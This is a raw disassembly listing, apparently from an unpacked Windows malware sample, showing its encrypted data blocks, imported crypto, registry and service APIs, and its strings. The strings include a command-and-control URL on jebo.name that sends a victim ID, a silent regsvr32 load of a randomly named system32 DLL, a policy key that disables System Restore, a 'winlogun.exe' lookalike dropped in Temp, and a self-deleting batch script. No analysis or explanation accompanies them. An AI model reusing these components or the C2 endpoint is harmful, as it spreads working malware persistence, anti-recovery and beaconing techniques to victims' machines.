4A49AA5Ah dd 65E06974h, 0CBD1AA0Fh, 0F719E7EDh, 0A2F54A15h, 0CAD6BEE0h dd 0A9BA885Fh, 90EE972Bh, 6E3DF41Bh, 80B65D9Dh, 218DD281h dd 19A8DADDh, 5BDBF2Dh, 0A48A7411h, 0A2FC37Ah, 90A4F5E2h dd 3ABF79E5h, 1BC11958h, 161A0A6Bh, 26924228h, 0CC97C332h dd 3C190A7Ah, 69D45D07h, 0C1701880h, 0E24560E8h, 9EAC7E25h dd 0F0992CC5h, 445A8535h, 0A4CFF946h, 0CBC31B22h, 3D192930h dd 0F825F22Ah, 268F6B7Eh, 799D3B1Ah, 8696202Fh, 5C393B8Ah dd 7FE22AB2h, 67F53A8Eh, 843B4687h, 0E4D68F4Bh, 0A24E71A9h dd 0B5755F71h, 0EB20F802h, 7072B866h, 0DD7308EDh, 825DFD68h dd 0ADBB0016h, 5A89366Eh, 134F63DFh, 87454F38h, 33213FAh dd 9744B61Ch, 0F5FA1B32h, 0BA521B44h, 81FA9B59h, 0EB8A1A29h dd 644234B4h, 0D1C96809h, 0DA032CAAh, 0FB41AAB5h, 0B2C217C7h dd 49D17D2h, 3C84A4B9h, 54CA29D7h, 7BFF1B44h, 35CC4E9h dd 1EF44DD0h, 412ECCC1h, 0A6ABCE78h, 2074A809h, 1A602D5Eh dd 0D2CE962Bh, 30AF52B6h, 261137F2h, 1F8C012h, 6CAE5848h dd 14EE551h, 66C6E32Dh, 91438207h, 0F2CBFB01h, 0EC148AB9h dd 0EB561B26h, 0E245F693h, 6002E289h, 0ABD3B10Dh, 1732B8A4h dd 910E557h, 964EC6ADh, 43984264h, 7BCAFE5Ah, 0FC6402D8h dd 5FD2643Dh, 65B7617Ah, 8DD45DBEh, 0C0F771E8h, 3AE3748Dh dd 0A5AA41D9h, 0C5A53B20h, 7FD85E1Ch, 8313724Fh, 0A3E9606Ch dd 72E1E38Fh, 2969AC6h, 15D6802Ah, 0E9C9564Ch, 0D7AED1A4h dd 1B5FDEF0h, 66651942h, 0D6E42EC4h, 91FEB940h, 3A148640h dd 0A08FBEF4h, 0C6719232h, 0A13A8A9Eh, 5F874922h, 412969E4h dd 0F94A2733h, 0E598F4A1h, 5D938881h, 97CE3FFFh, 5CFFD1D6h dd 0D3F056F2h, 6223280Eh, 92A46A64h, 6E6AB1D0h, 0BC56CFADh dd 0FCE3AD7Eh, 432F6F90h, 9861C050h, 0F6CF292Ch, 147DBA6Eh dd 7EF6C721h, 0F1BF8B8h, 8627858Ch, 0EEEFC1F8h, 0A7000887h dd 12ACF841h, 0E83FAFACh, 7F975887h, 591B24E3h, 2E070036h dd 55627F25h, 889C0368h, 0BC5C2295h, 0D2F6413Dh, 0CF496BDh dd 0A64451CFh, 33D32762h, 535D2A75h, 7D8FECA7h, 0C77BE36Bh dd 3F001627h, 5F50CF7Fh, 977ECD1Dh, 0B30152ADh, 0E3215Ah dd 173AA242h, 12461B37h, 0FAC55636h, 9C1B0C54h, 6B9553Bh dd 0EAD61DD4h, 4AE3F625h, 5C8A4A2Ah, 8CBCDBA3h, 0AD1F1FD2h dd 0CB950F38h, 3D77F0C4h, 8D3420D1h, 0FF760150h, 9BCBC16Ah dd 0F6629581h, 95357201h, 0B8587A0Eh, 79820487h, 799ECCCFh dd 7F739FA4h, 1D5E07BEh, 29983EFEh, 338B5303h, 0FA7B458h dd 0FF23EAC7h, 204CF58Dh, 0B72140Fh, 4BADB500h, 0A9C50BF2h dd 0DD96D154h, 949974F9h, 58E37F9Ch, 0A2E60E70h, 0F636C2DFh dd 32C9645Eh, 0E586AD42h, 8B7ACB91h, 0B12AC11Dh, 3E76DA28h dd 0C84F8B67h, 215ABEC2h, 3801B4FEh, 8592227Eh, 0A8D3282Fh dd 0B8DE93BEh, 4905E0EAh, 0D4EFAF1Ch, 3635AA4Fh, 1B4B7C4Fh dd 64E352Ah, 368804DDh, 0FFFDE3C9h, 7BE2FE26h, 0AD972409h dd 0B50839EAh, 4BED9BC8h, 0BD7BD607h, 93183A7Dh, 15EE80EDh dd 0C6542531h, 1550D74Bh, 0D9BAB855h, 0ADDE0FF8h, 5D39CB6h dd 804041C2h, 72385A70h, 0C320F2B0h, 652548F2h, 0B5666E48h dd 21315B36h, 0F0A137DDh, 9FC46330h, 0EDE3AFBAh, 769A7FAh dd 0D6F0FA9Eh, 0DBF354C6h, 6CCE22EAh, 0C6C0268Eh, 5406454h dd 8EBCE6BAh, 2508C08Fh, 0A5323E80h, 0E8C451E7h, 946EA19Ch dd 4C436076h, 6A34A2FDh, 370EAF1Fh, 0CA38C682h, 636904FCh dd 0B515BFD7h, 0D3190ED9h, 0A6FF1FD9h, 3E74E7A7h, 0AFA48704h dd 31B81D12h, 0BACF3931h, 68BA1610h, 46C488E6h, 93EC7578h dd 400123A1h, 0E081D914h, 14B4B987h, 1784622Fh, 9C008DD8h dd 0FFBE1213h, 0DB29FEA8h, 5013C036h, 0BF7AC891h, 8E226E69h dd 3A64521Bh, 0A664920Eh, 7F59EE2Ah, 74A7640Dh, 0F5996D12h dd 2CC93ACEh, 85BD452Dh, 5DD3C80Dh, 0BC494BC2h, 0E6349410h dd 13A6EEBBh, 9C51B9D5h, 56B13C75h, 2557CF9h, 0DD3E6E1Eh dd 53A18E66h, 0C8945347h, 1DBD6AF7h, 0CC5BB1E4h, 35E19F5Ah dd 72FC8729h, 3663964Fh, 0A0CDF2BBh, 3494606Eh, 1F9BA3B8h dd 9B5CA719h, 1BF5BD5Fh, 5CFA43A9h, 425E534Eh, 77EFC7C5h dd 1BED7CD7h, 53E0CBB2h, 0A018FBCFh, 6B492490h, 242208Eh dd 0B258E6E5h, 43C9885Ch, 828B7EDh, 8C4805F2h, 9D010555h dd 431769DCh, 1F7398AEh, 0E4CFB4BCh, 4247B82Bh, 0B89997CCh dd 0E3278018h, 7C5BC0EBh, 0E865E294h, 2555C9C2h, 22D71B61h dd 82CEB354h, 0C2A5648Ch dd 0A2BDA771h, 0A0336875h, 2CE5EF93h, 3913C93Ch, 0C183A17Bh dd 0CB575D94h, 307B91E9h, 1E038D36h, 22CF8E17h, 0DF071F6Dh dd 7C37E2h, 0CA0D5F23h, 9B2B1B5Fh, 397157ABh, 0BABD6985h dd 0E02EF1FFh, 0F26941B2h, 970EB684h, 470511D0h, 0BA9DEA33h dd 0BB76CD3Dh, 2FCDC3D3h, 0A0B59D07h, 4A78A8C7h, 0BA4CCFABh dd 3086F601h, 4D4B1CBEh, 0AF3F70D7h, 7A403C12h, 385FE096h dd 0CDBD6520h, 0F0A8E928h, 4DD3381Ch, 0E426BA11h, 42CB13EBh dd 0B7071E7Ch, 68C2AFB0h, 9E0BAF53h, 0E8C98007h, 244445D7h dd 0A08BAEEAh, 0E36401C2h, 66C88579h, 10A97C06h, 77E90910h dd 0B0E0EBC7h, 0B6F42442h, 8DD36DE1h, 3C060F54h, 4D90F5CFh dd 0CB03550Ah, 6462660Ah, 0A0F8F7B5h, 0C26F3303h, 33914962h dd 244B3210h, 76755013h, 0E2E8D4D1h, 0B0F73624h, 90BD80BDh dd 936FA1C8h, 5DC2D2BEh, 0C47CC299h, 9D4D6AC2h, 8F4038FBh dd 0F518D74Bh, 4F01662Dh, 0A98B26A8h, 5628CB14h, 5527EBB8h dd 89CF47B4h, 0BD8038Fh, 312121C7h, 0DE663873h, 65B4AE46h dd 5309354Fh, 33D5DE02h, 5AAFC85Eh, 95AA86C5h, 0B4719F43h dd 59DBED89h, 0E76117D6h, 7BE58F59h, 0FAF0CBA8h, 88DE01CDh dd 3FD35A5Bh, 717B848Ch, 15021C70h, 0D3A52E13h, 92A88424h dd 5DAF297h, 0CBE90927h, 5095E105h, 530D3D53h, 8E993DDCh dd 3EDEF350h, 0D4C17279h, 44E10178h, 7F2B677Ah, 2AB1B251h dd 0F1DACF8Eh, 1358214Ah, 0A1AFD0F8h, 8A1F2769h, 19313145h dd 0F618F5AAh, 0C598BA4Ch, 3C5534C9h, 212CEB45h, 550B7748h dd 7EA8EC9Bh, 0DA3849ABh, 0D0F312CAh, 0C3A705D4h, 17C7EEA1h dd 91654E18h, 0A1C7EA7Ch, 38DEB38h, 8584F3E7h, 77E14A89h dd 9E86C898h, 0BAAA6262h, 3216F139h, 214BAE07h, 5D85C1Fh dd 4255F624h, 1B5F053Ch, 0F95C2086h, 5EE66F3Fh, 0F1B33161h dd 0D25FBDDEh, 0EEA8990Bh, 2CC1F022h, 93FC3DDEh, 48A0ED7Eh dd 1CDB922Bh, 11C5CE87h, 611DAEE9h, 0B1EB39A5h, 22E7405Fh dd 277C5B06h, 30725002h, 0C931B0A6h, 0B642883Ch, 0C7590DD2h dd 28F9407Dh, 0E4987D74h, 0FC5082BCh, 7D0271C0h, 8C79F6ADh dd 214F8FB9h, 0B0DA444Eh, 0ADD3CAD2h, 0B89AC65Ch, 0BAB06435h dd 2E223F55h, 9EA58432h, 0D4CB28E6h, 71079DC2h, 5911503Ah dd 0A1FA99Dh, 0EF827998h, 0D060C318h, 66736662h, 3BFAFA4Eh dd 1AAAAF6Eh, 0CCB4E571h, 3EB0275h, 34A15AF0h, 244964F6h dd 0A808D391h, 292B423Eh, 82E3C436h, 0B6B7E944h, 0DF52A138h dd 6BBAB711h, 69F58EC3h, 5B0233B7h, 55A0BFE3h, 78514D84h dd 0A1F74EEAh, 5CCADD3Ah, 82772986h, 6F4EA7BCh, 3F6202D0h dd 3E91F56Fh, 0C07994D8h, 2E1770B8h, 0CF050363h, 0CE179E51h dd 303F69F8h, 0E3A991E8h, 0F24EF0C6h, 0F96D8194h, 0AEF7D772h dd 4838A1FAh, 93F7DBBh, 0DDD8EB40h, 71085E24h, 0B8C2701Ah dd 1516A85Dh, 961B1571h, 0AD3CC732h, 62A40D91h, 280E8E4Dh dd 5C3AF999h, 340A458Eh, 632BCA82h, 0FA1B19F2h, 0B3B27C55h dd 5F5F5F97h, 0CB52CD4Ch, 0AB926A47h, 5B494FCCh, 97E50883h dd 0F9118ED4h, 8307BF00h, 3AA69E85h, 4F56B0h, 119AA8A3h dd 0EAD3732Eh, 32C7348h, 0F76376BBh, 7F35702Ah, 9BE5D7D4h dd 3BD55EBDh, 863C1801h, 2DF0F527h, 0FBE4FC8Bh, 0C979B56h dd 86E71995h, 0B8C3EF6Fh, 460E95C7h, 8227837Fh, 8FBABBD1h dd 0EA9232Eh, 9AD68B8Bh, 0B6900FF1h, 0F86B08BBh, 5B6CC702h dd 68006FF8h, 8111E2C4h, 49526BA6h, 0BE1E7064h, 29C0BEE2h dd 1BEE6F9Ah, 17B98BDDh, 7AF28F4Ah, 0FA36497Eh, 2F37AF5Ah dd 0B61383B8h, 9E752DCAh, 215480BCh, 9F4568C1h, 4CED2582h dd 546A0D07h, 0D72BCB9h, 0E383264Eh, 0EE451BD1h, 8C47AB96h dd 195B7FEAh, 4B6F452Ah, 0A22F73DDh, 39D2A69Ch, 7C4811F0h dd 0E6CF927Ch, 92CD6323h, 410569E6h, 2494D6F7h, 3E6FF0A4h dd 2B6DC1F3h, 0F2F52FC7h, 0C4D9EDF1h, 0F10CA7A2h, 44DFD4CBh dd 0A298A737h, 15993C31h, 2BB9192Eh, 0BE592113h, 84D4D2E3h dd 0AFDF88E1h, 0F3D5EF08h, 1F7B36E5h, 12B432Ch, 3EBF5A45h dd 75A12CEEh, 7B59C198h, 0C66BBBDCh, 3A16612Ah, 1EA152AFh dd 0C00551B4h, 4BC324FEh, 36498D76h, 0E4F573C5h, 0B3E2975Ch dd 0A5C48A59h, 2F7AB0F2h, 524C2B97h, 47C67C54h, 0C81E7483h dd 7C67E4FDh, 0BCB99127h, 213E047Ch, 32E445D1h, 172D10B1h dd 0D5DCDFF7h, 4A4ABF02h, 0ED2DC914h, 0CE0E3CC8h, 3F606645h dd 2CE1B3EEh, 3AB9D695h, 0F5ADE983h, 0F5C04577h, 0CF10CA74h dd 0E48DB767h, 17E478EDh, 0A2D6D177h, 0C880746Bh, 9F53A640h dd 0DCD667CEh, 768E49FBh, 5DCA7F05h, 7C7B6911h, 606D4F97h dd 5E81FF5Dh, 163371FDh, 684031ADh, 5D5FE945h, 9E93D6F6h dd 8A836542h, 2968A7E9h, 50DD2DFDh, 9E8F4C43h, 554B4B15h dd 60C315D7h, 0AC0AB816h, 81C4720Bh, 0BBF8BAD3h, 0CBD43DB7h dd 45A3C9C2h, 49B790FAh, 5A59CBB2h, 268D1BC7h, 8BCC56Fh dd 26C8C520h, 9C387B14h, 0C3DC5A31h, 81ABAF72h, 7291729Bh dd 0F2995D98h, 22F29CF6h, 7C9A6A3Ah, 9C5D4F3Bh, 20D47386h dd 2A4EE7EEh, 2C34B7A4h, 4C9BE9A4h, 7CF2BF48h, 56C5FBFFh dd 319A92F9h, 0B53E3168h, 7331A6BCh, 59AB3BB4h, 93A4C2ACh dd 904BAD2Bh, 0D75CEA59h, 8FABE997h, 368540C6h, 379718C8h dd 0C325DD94h, 0A17FE831h, 2B0D0C12h, 63FD700Bh, 0A87B4DF7h dd 0C5C8D30h, 38DB403Bh, 0E22B00DDh, 3948E690h, 72CB5B3Dh dd 0DB9060BCh, 3CD27F9Fh, 0BFE6B459h, 1281AC01h, 201AE373h dd 505DB11Fh, 6CCB7C43h, 5E831E6Bh, 4DC821BEh, 0A5EFA92Ch dd 3C382A0Fh, 22972EE6h, 8EEE143Bh, 0D4325391h, 0C39CB6B7h dd 486772Ch, 0C0F7DF0Ah, 0F9F28E90h, 34CB98B7h, 263E1FC4h dd 29980B71h, 0C5C06CB4h, 0D04C964Eh, 85C2BA5Fh, 465808D1h dd 73AF1D9Bh, 9EF8A4DDh, 6E7631C8h, 0FE519B4Eh, 0A3C4995Eh dd 1FA1DF32h, 717DEC65h, 45DC403Bh, 0DE6AF31Bh, 8AE3EE87h dd 0BC1547BDh, 40AF9BE3h, 0F7DD9AA5h, 643B9FAh, 0F85865CFh dd 0F23D6434h, 4C589C8Ch, 688B83F4h, 0EC12778Eh, 294AB391h dd 0AC55F5DAh, 11946E71h, 0A65B3222h, 0B9211F79h, 1BA85761h dd 73h dup(0) dd 3138h, 3064h, 3 dup(0) dd 329Ah, 30ACh, 3 dup(0) dd 3338h, 30CCh, 3 dup(0) dd 33D6h, 30F4h, 5 dup(0) dd 3146h, 3164h, 3178h, 3188h, 319Ah, 31B8h, 31C0h, 31D6h dd 31EAh, 31FAh, 320Ch, 3226h, 3240h, 324Eh, 325Ch, 3270h dd 3288h, 0 dd 32A6h, 32BAh, 32C8h, 32DEh, 32F4h, 330Ah, 3322h, 0 dd 3342h, 3358h, 3364h, 337Ah, 338Ah, 339Ah, 33ACh, 33B8h dd 33C2h, 0 dd 33E4h, 33F8h, 3410h, 342Eh, 343Eh, 3454h, 3464h, 347Ah dd 348Ch, 34A8h, 34C6h, 34DCh, 34EEh, 3500h, 3510h, 3520h dd 0 aKernel32_dll db 'KERNEL32.DLL',0 align 4 aScrollconsoles db 'ScrollConsoleScreenBufferA',0 align 10h dd 73490000h, 75626544h, 72656767h, 73657250h, 746E65h dd 68540000h, 64616572h, 654E3233h, 7478h, 69560000h, 61757472h dd 6F72506Ch, 74636574h, 0 aGetconsolescre db 'GetConsoleScreenBufferInfo',0 align 4 dd 6C530000h, 706565h, 6E490000h, 6C726574h, 656B636Fh dd 63784564h, 676E6168h, 65h, 4D746547h, 6C75646Fh, 6E614865h dd 41656C64h, 0 aGetconsolecp db 'GetConsoleCP',0 align 4 aGetprocaddress db 'GetProcAddress',0 align 4 dd 65530000h, 766E4574h, 6E6F7269h, 746E656Dh, 69726156h dd 656C6261h, 41h, 6E65704Fh, 666F7250h, 55656C69h, 4D726573h dd 69707061h, 676Eh, 6F4C0000h, 416C6163h, 636F6C6Ch, 0 aExitprocess db 'ExitProcess',0 dd 65530000h, 6E6F4374h, 656C6F73h, 6C746954h, 5765h, 72570000h dd 50657469h, 69666F72h, 6553656Ch, 6F697463h, 576Eh, 65470000h dd 6D6F4374h, 646E616Dh, 656E694Ch, 53550041h, 32335245h dd 4C4C442Eh, 0 aGetsystemmetri db 'GetSystemMetrics',0 align 4 aEditwndproc db 'EditWndProc',0 dd 65470000h, 73614C74h, 74634174h, 50657669h, 7075706Fh dd 0 aSetmenuitembit db 'SetMenuItemBitmaps',0 align 10h dd 65530000h, 654D646Eh, 67617373h, 6D695465h, 74756F65h dd 57h, 61727241h, 4965676Eh, 696E6F63h, 6E695763h, 73776F64h dd 0 aEnumwindowstat db 'EnumWindowStationsW',0 aGdi32_dll db 'GDI32.DLL',0 align 10h aGettextextentp db 'GetTextExtentPointA',0 dd 65530000h, 4D6B4274h, 65646Fh, 64670000h, 616C5069h dd 6F705379h, 74536C6Fh, 6D616572h, 0 aSetbitmapbits db 'SetBitmapBits',0 align 4 aSettextalign_0 db 'SetTextAlign',0 align 4 aGeticmprofilew db 'GetICMProfileW',0 align 4 dd 72430000h, 65746165h, 574344h, 69460000h, 67526C6Ch dd 6Eh, 56746547h, 70776569h, 4574726Fh, 78457478h, 44410000h dd 49504156h, 442E3233h, 4C4Ch, 72430000h, 53747079h, 72507465h dd 6469766Fh, 577265h, 72430000h, 41747079h, 69757163h dd 6F436572h, 7865746Eh, 4174h, 65530000h, 63655374h, 74697275h dd 73654479h, 70697263h, 4F726F74h, 72656E77h, 0 aCryptdecrypt_0 db 'CryptDecrypt',0 align 4 aGetsidsubautho db 'GetSidSubAuthority',0 align 10h dd 73490000h, 74786554h, 63696E55h, 65646Fh, 75510000h dd 53797265h, 69767265h, 74536563h, 73757461h, 0 aGettrusteename db 'GetTrusteeNameW',0 dd 6C410000h, 61636F6Ch, 6E416574h, 696E4964h, 6C616974h dd 53657A69h, 6469h, 6F4C0000h, 70756B6Fh, 76697250h, 67656C69h dd 73694465h, 79616C70h, 656D614Eh, 57h, 53746547h, 69767265h dd 654B6563h, 6D614E79h, 4165h, 72430000h, 44747079h, 76697265h dd 79654B65h, 0 aCryptcreatehas db 'CryptCreateHash',0 db 0 align 2 aCrypthashdat_0 db 'CryptHashData',0 db 0 align 2 aRegenumkeyexa db 'RegEnumKeyExA',0 db 0 align 2 aLockservicedat db 'LockServiceDatabase',0 align 4 dd 558h dup(0) aRegsvr32_exeSS db 'Regsvr32.exe /s %s',0 ; DATA XREF: start+6Fo aHsjefi8wunkmdf db '\hsjefi8wunkmdf.dll',0 ; DATA XREF: start+16o aSoftwarePolici db 'SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore',0 ; DATA XREF: sub_40150E+17o aDisableConfig db 'Disable Config',0 ; DATA XREF: sub_40150E+3Bo aExplorer_exe db 'explorer.exe',0 ; DATA XREF: start+112o aHttpJebo_nameC db 'http://jebo.name/cd/un2.php?id=%s&ver=vp0',0 ; DATA XREF: start+106o aP2hhr_bat db 'p2hhr.bat',0 ; DATA XREF: sub_401127+43o aLsh2Del1IfExis db ':lsh2',0Dh,0Ah ; DATA XREF: sub_401127+73o ; sub_401127+86o db 'del %1',0Dh,0Ah db 'if exist %1 goto lsh2',0Dh,0Ah db 'del %0',0 aOpen db 'open',0 ; DATA XREF: sub_401127+D0o db '\',0 aWinid db 'WINID',0 ; DATA XREF: sub_401565+44o ; sub_401565+8Do aError db 'ERROR',0 ; DATA XREF: sub_401565+B7o aSoftwareMicros db 'Software\Microsoft\Windows\CurrentVersion\Explorer',0 ; DATA XREF: sub_401565+1Do aLxLx db '%lX%lX',0 ; DATA XREF: sub_401565+67o aLu_exe db '%lu.exe',0 ; DATA XREF: sub_4012DD+1Fo ; sub_4012DD+69o aWinlogun_exe db 'winlogun.exe',0 ; DATA XREF: start+A6o byte_40A66F db 0 ; DATA XREF: sub_4012DD+16Co ; sub_4012DD+17Cr ... dd 3070400h, 801h dword_40A678 dd 264h a1646169094_exe db '1646169094.exe',0 ; DATA XREF: sub_4012DD+24o ; sub_4012DD+42o ... align 4 dd 3Bh dup(0) db 3 dup(0) aCDocume1Cybert db 'C:\DOCUME~1\cyberta\LOCALS~1\Temp\winlogun.exe',0 ; DATA XREF: start+Co ; start+1Bo ... align 4 dd 1FEh dup(0) db 0 aA db '',0 ; DATA XREF: sub_40150E+5o ; sub_40150E+40r ... align 4 db 0 dword_40AFA9 dd 3A98h align 10h dd 3 dup(0) db 0 aCM_unpackerP_0 db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: sub_401127+1Co ; sub_401127:loc_4011D1o align 4 dd 79h dup(0) db 0 aCM_unpackerP2h db 'C:\m_unpacker\p2hhr.bat',0 ; DATA XREF: sub_401127+Bo ; sub_401127+17o ... align 4 dd 79h dup(0) db 0 aCM_unpackerPac db '"C:\m_unpacker\packed.exe"',0 ; DATA XREF: start+74o ; start+83o ... aSystem32Hsjefi db 'system32\hsjefi8wunkmdf.dll',0 dd 72h dup(0) db 0 a1c97ae360a5d87 db '1C97AE360A5D87A',0 ; DATA XREF: sub_4012DD+A2o ; sub_401565+3Bo ... align 10h dd 3Bh dup(0) db 0 aHttpJebo_nam_0 db 'http://jebo.name/cd/un2.php?id=1C97AE360A5D87A&ver=vp0',0 ; DATA XREF: sub_4012DD+AAo ; sub_4012DD+C2o dd 3F2h dup(0) db 3 dup(0) byte_40C6BF db 0 ; DATA XREF: sub_40120B+11o ; sub_40120B+74o align 1000h _rdata ends ; Section 3. (virtual address 0000D000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 0000D000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 40D000h align 2000h _idata2 ends end start